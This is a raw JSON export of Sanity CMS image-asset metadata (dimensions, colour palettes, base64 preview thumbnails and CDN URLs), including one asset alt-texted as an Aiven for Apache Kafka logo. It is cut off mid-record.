{"_createdAt":"2022-06-30T20:11:59Z","_id":"image-d95f479c563670154e2761f366c10a90101e6c36-3133x1688-png","_rev":"CK1sLU2mnwa3vmbYWEePfJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:20Z","assetId":"d95f479c563670154e2761f366c10a90101e6c36","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWPsFt?wX-D*,;x{E2SdxZi{.8I9RPxuOE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAADNklEQVQokSXM3U9bdRjA8fMP+VeYGK90amKiXjhjt0ySLdkULxS2lRm3s4FiAqQba4fjzb4AsjEE21ILhbmxthRa2h7a/vp+zu/l9LTntAXG+jxm8eKbfK6+UoGo17JK+VFGKS0ouYr3KFf1KbmKL5ev+ap13cNEe5rrHRcTHScVHafGO8635vr/Mb3rYnpnnov2FBfWoBSNHzpD/zxXgqHtRij8nG9GXooXu/sisZ8VBVLlrE6pns1rjfihynJVVdVMVeOWqtGmRlWh8mpdFSoVght5IVo+KRY/9GyEtnV/cAsDGxEMb73Avf0s5go1rNVU1NNJtOZnsTtyD033HLJoDItKAZPJDMY2N/BoxYn65hw2j6KtBtUCUrFE/8gelVk6W8R0hvSUowqUqwIoN4HzJhi7MTi+MQRvPj0HZ32fge6QIb72DJaXn/Qmf5XB23+uR+68j53VnxpmProuMdF2M9HmlFtIuQWMW8iFCUKYKEQLGvEUNO33oPXBx9D55D2o/dAHfqcDHA4H3Lw+AHbbhxC4/A4a9z8yjuOLf0tcWG6uW1wIC4UwQRdN1LmBDa5jgwukyTQqEw9xr+8KJi99jf8OfovTw3dwyG7Ha9/149VLX8HUlXex6Pjc6Ea9fkmIplsXBtd54+2gZzAOBqPQZBq0mAosm4LYn15YHR+Fpd9GwDM2ChO/DMP3/f1gu3ARLl88D48Gv0TF97OhxvxByWDMbVDKDKphk6q9Fq2BSatg0Qq0tSKYJAFk5wmEl13gnpkEl8sJ4+MTMDDwI9hsF+Ab2/me49ZV3F54YLzaWAlKZjnnaRBF8KKCRjWPbZVgRytgV83jsargSSWKZnoNs5F5XF904exjJz6cfIAjI8M4ZL+Jt2/dwPujt9HjGmutup1Bqa3sjempVzE1HSvpJFXo1BVyoirkpJ4hp/VD8roaJafFEBGpFZLaWiThZx7y1DtDfHOPyVPfLAkszRQCC1Ol0NLvid21+WmpWzz4wswnrhuF/btWOSWf1NPyaT0tv66n5LPagXxWjctvKjvyWWlL7uYjskiF5dzLdTkZ+Usu7PpllvDL+kHgbiuzaT/O79j+A1A9xceAm1pgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343845","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c3e07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f44a3a","foreground":"#fff","population":5.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbfbc","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44a3a","foreground":"#fff","population":5.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c56a6","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1811e","foreground":"#000","population":2.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d95f479c563670154e2761f366c10a90101e6c36-3133x1688.png","path":"images/sczeoy4w/production/d95f479c563670154e2761f366c10a90101e6c36-3133x1688.png","sha1hash":"d95f479c563670154e2761f366c10a90101e6c36","size":1048060,"uploadId":"TDdxkwTna5UKu1vvsQHXe1isBjd1K872","url":"https://cdn.sanity.io/images/sczeoy4w/production/d95f479c563670154e2761f366c10a90101e6c36-3133x1688.png"} {"_createdAt":"2022-06-15T20:01:33Z","_id":"image-bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7YQD","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:01Z","assetId":"bb03ec27dd22355e1793f7be9c829b3e1a735ccf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJFiPw15}q57-Vx^o|xbS0sp00oHxbkWnN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACn0lEQVQokQXB3VPSAAAA8P0zpgdkXqZZahvCgECNVPwCYbAxNsegwUDHN+NrA2UQaOQXJ5pmhl3R5Vnd1dVd3VkPPXSdd+ZLL15v/Qn9fgA85zSglB6jh3FmhGANLr8OZ7SYV4PSagelts/DKKVx0iqUAm2uASt+x+ygp+c+6PRnbXLAupCkM0UytUymJXeugvHF6bAwsZgx+uIGKqjBPCo7OWQnlAgB2lyQDdejpAd1NcdNXyEVYA9n2EKVyVc9QsUjVonsQyQpWeJLk1zW+CCiJ/xaJ63F3DBKDSHkOOlNCMJBo366v3t+8ASwBWOh5apfKJEJkYjliLhI8Et4suCICTaOn2XD076QNRixBxenPF6aCx5tr158Ofn76/Tfn98AzRdytXpALOORjCuapZJ5Jldil1YWpBpXqjG5IsWLTFaMZENcgognnC+K5FkjdNEqXX5/A2Ax0S9WvJmSN1ti89VweT1V206t7aQ39qS9o+LOM3FrV1jfShdiqYSZjxjrHPiZh36uo5cfVwATEzUHEnYuHS0/lrafbjRbm83XpZ1Dfq0h7T5vtE72j99vHrWEajkSJTMxmxQwHIbhbxvk+dtlYAT3TtLsrDfoS4nxYoUvr3B5iU5kHVycjGcSlVpubSskVal4mmKZTNSX8iFln6mZRl7mncANvRGcmNFZ7EbUNWzD4BmrcsoCTVrAqTnlLGJAyVHcrXUQGgQ3k/PpCMt77JLPfFymPj2igLa+wY4BqFOp6VLrFBAsA1VyCFaotArYcFU7eu3uvS69sUt/v3t4bAxB+JA37bYUGfO7evjHqxzQdr3nSndv+42b7T19Hb23Zbf65f2DsgFQBqpkQ1oZpJGDagUEdyo1honxRQ8awUwL1pFCAFlNkf8BeKYmb2BTT4oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4c54","foreground":"#fff","population":1.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a4219","foreground":"#fff","population":1.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a7e8f","foreground":"#fff","population":3.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3c2c5","foreground":"#000","population":2.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8deb2","foreground":"#000","population":2.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a7e8f","foreground":"#fff","population":3.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d82a28","foreground":"#fff","population":1.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405.png","path":"images/sczeoy4w/production/bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405.png","sha1hash":"bb03ec27dd22355e1793f7be9c829b3e1a735ccf","size":172243,"uploadId":"bzpYwquGBF3vcTqLHBLJShRwIJ2sa0ZK","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405.png"} {"_createdAt":"2022-06-15T20:01:33Z","_id":"image-aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhTKo","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:03Z","assetId":"aa298af7f9cfb65a1d7edd95e9f064831235206a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMLhxk_MMyoOxu=?xus.RPRQ_4%Mk9D$xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACnElEQVQokQXBWU/aAAAA4P6j/YY972m6PSxZsrnbBzeNR9RsEafhiAgoitwVV8vRIpdU7qJAuQsqWo56oCAIdQZU2ITpvg9otNuNZvOqeXPZvKk2msxdq9Ht3j48th4ebzpd6vRCBps/jEz1vh/s+Tj84vPoq/6x/jEWTwIanEGgXq1WsjkqVwhTBYLKp88rJ7ftyv1D/b57WK4pTZ4hjnSUJ+XKtYuQRbxu5asMU0LF8KxoaGYBKF5UC4e5xGHeR9F4lo6clw4a18d/2ke3LVs082Va/GaUzVfCqN3jwEOeYNwTjNvxkBK1j4s0QPL43J/cc8XTGJnByF1HOhYopGJFiqDzSGhvZFH7dowzMDk7Ps2dYs+zBcuCZeWSUjMvXR3hiAEsklKhFsm6QQyjQs0vASiVGVbVJlhl0uvwkJbIyrYSIp2Dp9LPLIEsoZw1v/KDu/BpaPzps14Ai+4rEatIDc+p1rlycE4hFahXhOCKAJSozSZ7MuvIlN1UxU2VjKF9yBnRbO7wVYbXA5NPnj4H3Gka8YY1Nq/c7AIxHHK65EZYhq6prVrQbIQwt85LYGRuu1BBQhnFZkikd3/lKHu+sV9OLAFbZN64TUKOoNq+rd0hYV9Yim4oNhAE98JOtxK1QnaPM5Eh8mVDIMPV4hMyy6BQ+x10qAMFwEuVDP4EaPPB3pg5UdAHdyFXEMHDFoI0BRJGf9QWTnn2jx17ZxJ7vJ+ve/dTwV7DNmJ0rHwHBIsNSzSLBtKug/LOWRM/YvyFy9DJVfCoFqBrkVMmfMrgNANFiyw90cfT9bHX2Dq/JXWWumwDRKnlzdVxmolU/sZq/+L1brLeIZkuyXRSTDd91U0znVj13kpdL3pzU0ichcaWfXlX/vfBdec/cgTYbEwuG7wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d454a","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a5070","foreground":"#fff","population":1.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cceafb","foreground":"#000","population":6.59,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5979d","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cceafb","foreground":"#000","population":6.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6163","foreground":"#fff","population":0.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c81a8","foreground":"#fff","population":1.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405.png","path":"images/sczeoy4w/production/aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405.png","sha1hash":"aa298af7f9cfb65a1d7edd95e9f064831235206a","size":105942,"uploadId":"HFAJrOajqR8tfAueoUzMpoVBV1lxwDnf","url":"https://cdn.sanity.io/images/sczeoy4w/production/aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405.png"} {"_createdAt":"2022-06-15T20:01:34Z","_id":"image-9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405-png","_rev":"sI1gFaRN7B5HWmjllAAKkX","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:38Z","assetId":"9a3754ef1c8f1051cf4a179dbca1d8cd457e64df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBQ,8q_Nyqvz$%%LMdt7yCR5?H?H-;NuH?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACI0lEQVQokWXRSW/TUBQFYP9mBAgBQlULAgkQC8oOpK4ZNiRqG0La0oTEGZqmcZzEwxttv+e5xXY80Awohh2f7g8451xhs1yu0/R2sUgXW3me/07Ta2miHRwo7z+wXs+3bddxXMcJwzAIAsdxfN8Pw9DzPGGdpUtmxYRYdMtzvYXv88bJ8NHjzr370qcvcD5HCAMIEUIYY4QQLCGEhCyKQgCYokAdQIQZ477jMkkGh0egUsXNFu33TWnCCeElx3Fs22aMmaYpmMwWu8NWu98djEbjmSSrvYtxsz24upK5ptPDo/HzF9L+O9TpmJQaJWYxy7IIIQI2rEaze9xoHX9v1U/b5+1B40fnsN4U+1eWBoxK9XJnd/jy1fzkFOv639AIobIiFYLwWtHgZKZdjqfD0VQDxGS2xV3PD9MoThm/ns4CWXakiSmKhihyVXVt2ysJUZxQg2kQKxpUAbaYc/MripNFHCdRnMRxEieLxA/Y6dlo7+ngyc68UiWaRgjZDhYnCabWVNHl+fZmCtARxdRE2ACIAkQxMTkx2M/29O3+6PWbee0b0YFhGNvYeVEE4Y3FXcPimFoQG9Tk3HaZ7VJM1d7F9Kimn53bE9mVp3wiOxgHnhcEQfnn9fr2dpkXRZbnaZot0izL8iIviqKIGAcfP4t37nZ3dmf1Otb17VoQEkz+xd5sNuv/rVbr1SoPAvq1MnjwUNx7Nq7VdFUFAKglAACE8A+dSTgWPiL6bAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242832","foreground":"#fff","population":4.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1e1e","foreground":"#fff","population":0.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a91217","foreground":"#fff","population":5.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b6b7","foreground":"#000","population":3.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7434d","foreground":"#fff","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7169","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a91217","foreground":"#fff","population":5.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405.png","path":"images/sczeoy4w/production/9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405.png","sha1hash":"9a3754ef1c8f1051cf4a179dbca1d8cd457e64df","size":69089,"uploadId":"o3naMeAEnAFYadDw9iSlxIepB4yNGjqJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405.png"} {"_createdAt":"2022-06-15T20:01:34Z","_id":"image-0504ab50568854ae3c8919615f02de8ece347749-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7Z3h","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:11Z","assetId":"0504ab50568854ae3c8919615f02de8ece347749","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7AwFw?]$,Vt4.eS4:-p%LX84oRPR%Io-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACZElEQVQokS3C7VOacAAAYL5us3Wrq1lpqYiJooLvoBJIgLz9gHxJQXRYZpaeeuGutdtutrutu33cP7zbbs89EJGLEnnk/wKSLSL5MlKgYqXqKUnHKyxKc1hdyHAifi4WFZnmeYpmcZbHORGHSlRCkKiGWuMbJC+RdbFQYbAyHaeYRJVLnvFYvZHmFZyXs41GuQm4FuBNjTH0mgLKUI3N2APdvW5bA9AbaGaHY0WiwiZq50lGTHFyWtAI2ciBi9KgVV90tWXP8NxLb9Ib9hWoLuYsRxvddEY3nb6rK2aFEVI0n2RFjJNTgpaRzazWztt2bTNt/57216Y41rmJDZqAhwS1aA/V6by/9K5uZl29XTtXCV4lBICLOi5fEKCTN3pFZ0Bvpq1fbmvIFLgyytA4QSQhUSs5IzCdW7OVc7ewhmPQslmlWZTMrNLKgcuC3i2qrUKzXb13tFvAsziawSJYOgYjMKQY5GjSnC2d2cpZrj8s1sPR1DB7Vb1bNm1S75Z4laDotCSdTYY9S5fzGSwaDcNROAwjkGpS42n74XH8+OXu6dv882bmPV3NPWvuWeO5DjpkgUoksHilQqlSo1YhU1gyAkcCweDhUQBSdHJy3/30Zfb1ebX54X1/WT+/eM8vD5ufq8VHW22SeD6BxBNxFD09jSFIFEXjJ6GTnd2d7e23ECvgRpvpOZI1lG1XGVxr7gS4t7p7q3VdjpOJZDoWhqPB4PHR4eHxcTAcCu3v7/l8r9/t+iCSjlfZJM2laA6jz7G6lOE1QgCEaPxNMWgEDvj9/oODf/3+9/t7W1u+N75XgdDuH+3EsZeeuLIpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5133","foreground":"#fff","population":7.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d2549","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c5133","foreground":"#fff","population":7.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4dfd6","foreground":"#000","population":6.83,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8eb3ea","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a5645a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#266dd8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0504ab50568854ae3c8919615f02de8ece347749-752x405.png","path":"images/sczeoy4w/production/0504ab50568854ae3c8919615f02de8ece347749-752x405.png","sha1hash":"0504ab50568854ae3c8919615f02de8ece347749","size":151707,"uploadId":"d7n6TiM4JOB1XvYz1dzSda1Fzryrq1Ce","url":"https://cdn.sanity.io/images/sczeoy4w/production/0504ab50568854ae3c8919615f02de8ece347749-752x405.png"} {"_createdAt":"2022-06-15T20:01:36Z","_id":"image-194b4d4d7c7dce1701d74bbe0eef3b0e009bc905-752x405-png","_rev":"6BJll63fjycTvao7Auo2Sd","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:51:57Z","assetId":"194b4d4d7c7dce1701d74bbe0eef3b0e009bc905","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQ0U9IT%M%2R*~qofRkoeof_3%MM{RjkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACQUlEQVQokSXL6U/aYACA8f7/XzcR98Fkc0sREUzsIUepIhLvLGaMUnq3vFdbCj3eXmIWs+T5+HuY96qsaUKTbZLsKE3rutzv6/1HXVWU0jijcVHRqqIFjWm2y/O0KLOsKoOihrRm9kVeBXi7diDwwk1QlsXHx/t+X+d5GkXBJgrSbJcXaf55JmVJiyLLchrneVxWTFXQCIO1ZXiuAyH4H4KAYBj6eBP68S5K4mi3DbNkW5V5VeY0S5IkzmjK7KLw7e33WBpNp5OHx/vBoM9xl6IozO6mjmmEBIc+CX0SELTd+AVNcpruok3o4zAgDHTt28l1q8WenbVFUex0OizLttttgeden59VRbFNE0EQYBQFJI2jbRT6BAcEYwQZU1PvZ3c8zwk8L40kSZJkWR4MR6J41R8MJWn8+vLs2CaGICB4G4WB7weERJsAI8T8nc+vZbnX652fd3rdrsAL47HM8ULr9IxtnbJs6+KiK49HLy9PjmURQhDCYRhEUYggYObzOcdxx8fHR83Db83DH99POp3uyc9fjebRwWHzoNH48vXrQaPR7Z6riwVEGADoE+wT5Do2Y9v20+PjWBqNh315NLi5vpndP0xuZ+JgJFwN+0OJvxpeCoPJ7dTQdEJ8hCAEHgSeYRoMAEDXdXWpmCvF0lXT0D0AbHf9R9EWK8NyPc20lZW+0gzXXSNMXNe1TNN1bF3XGdtxVitNXS6Xy4WqKqZpEJ+sIVqohmY6n9oDhuVYtuN4wFkDTdOWiqLr+krT/gFSczEzncYYnwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#191919","foreground":"#fff","population":7.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#651f1f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#191919","foreground":"#fff","population":7.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0afa4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9394","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#95786c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce5f60","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"194b4d4d7c7dce1701d74bbe0eef3b0e009bc905-752x405.png","path":"images/sczeoy4w/production/194b4d4d7c7dce1701d74bbe0eef3b0e009bc905-752x405.png","sha1hash":"194b4d4d7c7dce1701d74bbe0eef3b0e009bc905","size":168367,"uploadId":"peBmb0MLFRFy6XuDgAeLRoPxr1YNLQ5n","url":"https://cdn.sanity.io/images/sczeoy4w/production/194b4d4d7c7dce1701d74bbe0eef3b0e009bc905-752x405.png"} {"_createdAt":"2022-06-15T20:01:43Z","_id":"image-99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325-png","_rev":"QRl2cGoCgj0FlAhkRrhYhc","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:23Z","assetId":"99a4baf6d43b792a87c1fa14ca35b45126ed195a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQENnsCmIAvfPV*wE2wItRNwM{I;#+o}s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":325,"width":650},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbUlEQVQokQFiAp39AAZuexF4gxV6hBRxfQ9ldAZgcQNoewV+kQ+brh21xjO/zGS0s5+jjbqOabh3TbVvRbxvQch3Q81+SsJ5SgAPcoArgY0yhpAugo0keIQPa3kFaHoDcoUIhpkVpLUzr7lrmZGhhGi2e1K/fE/Af1S+e0/AdEO/bDm2YzMAEHeHKoGPM4KOK3uHIHKAHHF8JXiCKH6IKoeROpieWJuZgId3nXNTsHFHvn1PuH1Tq3FHoGI3kVUtiU0oABB+jiuJlziKly6AjiN3hTuAh2uSkXyZk3+clICYjHeMf32Cbpd1U61wRK9xRqFrQ4xhOnFcPFxcRWNeRwAXjZw6nKlLoa1HnKg+laJRmaF/qKiUr6qUrqeBpqBWnJtNlI6AfF+gZTuYXTeQaEN1c1ZKdWk9eHRVhHgAKae2RrG+VrbCWrfDXrfDaLnEeMDIgMTLgsXMdsXMVMDMTrK3fIhxmF00k1ozjn9hcpyRSZWXR5WaXamnAD66yE2+y1jCzlzDz2rI03vO2IPR24vU3pfa4prd5Yza5IfDxpKIcplcM5RqQ4mcim6usEqUmkaYn1OutgBFvstJvsxKv8xLwM1Uws9hx9NtytV8ztmM09yW1t2c19yYt7eGcmKDWDp7dVximpVFlJwufoUvho4/m6MAQrvIRbzKRr7LRr7LSb7LT8DMWMLOZcXRccfRc8LKfsLGgKmqZ3JsW2VXS3lwM4KFJnyDKXyAOomMR5SXADm1xEW8yU7AzE/AzE7AzFDAy1PAy1/DzmrEzma7w2i2unCusFyTkj19fCt6fCZ5fSl7gDiHiVCWllmambnuMQPh7EbPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4941","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#046476","foreground":"#fff","population":5.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#85dde5","foreground":"#000","population":6.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcacd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85dde5","foreground":"#000","population":6.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5cac84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19c2d7","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325.png","path":"images/sczeoy4w/production/99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325.png","sha1hash":"99a4baf6d43b792a87c1fa14ca35b45126ed195a","size":119127,"uploadId":"XzydnedJO82uGSfMvt1CmHwbZLLYoR4i","url":"https://cdn.sanity.io/images/sczeoy4w/production/99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325.png"} {"_createdAt":"2022-07-06T08:12:04Z","_id":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_rev":"0HOthdQkSgJdYc0CAX5ajB","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:23:19Z","altText":"Aiven for Apache Kafka® logo","assetId":"184cb33e057478405636d30b72f56c94f88ca103","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFdklEQVQ4jT2UbU+TVxiADx/4AfoXNs+5z1MYLjHTuWwiMds+zGSvuix7yd7i+OCWzb1pW9o+ffrep0woUBVEAQeMdkU6uqFAEdTBBKGiuLayiFY7xMmSBQwJ3PfSyvYHrtznPtd1s4SwswRoLPa4ysZALboE6sbLYNt5Baz2a2AdTIEle0NWPbwpzcu3pDl7R5oGctKkzktj+YI0bliAg0WZEpUtSCN7IA8yNiQ1llAOsWHQii+AXYyCWjkOamQSbOlpsP49A9aVtLSszcqqtZvSvHJbmhfvKqbUvGKK3FOMnywoRn5fHir+57Fv2IJiZOxyqY31C0dxArSyYdC0i2BPjoG6NA4qTUkbTUsrzUgrpaWFZmUVzUkzZaWJctK0NC+NyQVp1O4rxrI8NCNtjMWFs+iMcPJ+cGgJ0DIjoK1eBDuNSRXHQcVJYcUrwoIzYMG0tOCsYsE5gwWzJVWUK6lanTeYMguK0X5fFiYtYjFwbYwLZ2WfcCb7wbE6BA4cAQ0vgh3HpJ0mSjVMljlw2qAWoJknVLq1qxpzr9bjn88H8M8y6+o8GJOF50vjBtYN7vKYcEXiwrXUB07qBwcmQMPzpS6a2HkYr+1potTbJyj1cohmtnro9y1OzO5rowd1CfzLGMVchY9yBvPSvGIKzyvGHSwMbjUK7lSPcFEcXNgnnDhgcNHo8/U4s7+L0l9FKfNFhP74OkqzH7VR5pUQ3fk2ig9aRwvQhf3fY26nj+4azKmcNNlYJ3gGwuBZjIKbYuDGuHBSYvt3mNwfppkvu2li9xEaLz9MV988TrMHIjR3sJuy5h66W9WD99w/01/eXzC3J0TZUsviHWnqZ98Lb7ZDeFa6uJt+5C6MKR789a1Wyhw+R8nKH2h4s4cubPbQREUNXXmpga7vbaLMeydp7rMf6K7pNN7Z34FzuwI0Z7Cs3JLm26xF+JbbS/S18OYARct07NsVwslDvZT67hxdereNEpu9NPZiA139uJ2mdoco+UKQrr9+jDLvnKDMyyFMbfNgusRG654usxPgf9j1bMNa3942SrzXgb9+2o2XDpym82+10mB5kAa3VdPkR+00qw9SxvwTzVrjdONAhKYrDtOUwY7TYM3/ft7TtRuyapk1CX+2/ZmGlb53O2nk8x48ty+Mv7x4lHq319DQ7kb67cMOumrspetVcbp+MEZ/6AOU+bqbJp720zi34ZSiYkF+sK7kM2VHuT7YZAj8feqpIHU914BdW2upU/Fhb3k9TRyK01XHWRr7oJ3OVdTR+YogTb7TSpOvNdLok24cEyqNSxWnwEbTYF28BtYB1sB1e4j708c2+en4Jh+e5F5s4x6Kbg/i6IEeGv/mJzpbXke93ElnFBcNbfHT8JNeHFE0eiS/mi+KJsGWugJWldXxQHmD0CNHhL7UKHRqBj+e5D5sL9HpzBstOPr5aTr7wlGKSXfeU+oD